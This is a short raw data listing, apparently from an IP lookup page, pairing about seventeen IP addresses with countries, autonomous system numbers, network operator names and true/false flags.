21928 T-MOBILE-AS21928US false
201.166.76.4
 unknown Mexico
28509 CablemasTelecomunicacionesSAdeCVMX false
84.157.224.238
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
133.10.141.218
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
119.239.18.87
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
104.106.15.161
 unknown United States
20940 AKAMAI-ASN1EU false
138.39.2.130
 unknown United States
786 JANETJiscServicesLimitedGB false
117.3.74.163
 unknown Viet Nam
7552 VIETEL-AS-APViettelGroupVN false
201.166.228.51
 unknown Mexico
11888 TelevisionInternacionalSAdeCVMX false
68.163.123.109
 unknown United States
40321 ESBUS false
1.54.54.155
 unknown Viet Nam
18403 FPT-AS-APTheCorporationforFinancingPromotingTechnolo false
97.100.136.113
 unknown United States
33363 BHN-33363US false
21.106.205.76
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
124.55.114.217
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
202.157.172.103
 unknown Singapore
9892 ICONZ-WEBVISIONS-APIconz-WebvisionsPteLtdSG false
88.146.106.127
 unknown Czech Republic
29208 DIALTELECOM-ASDialTelecomasSK false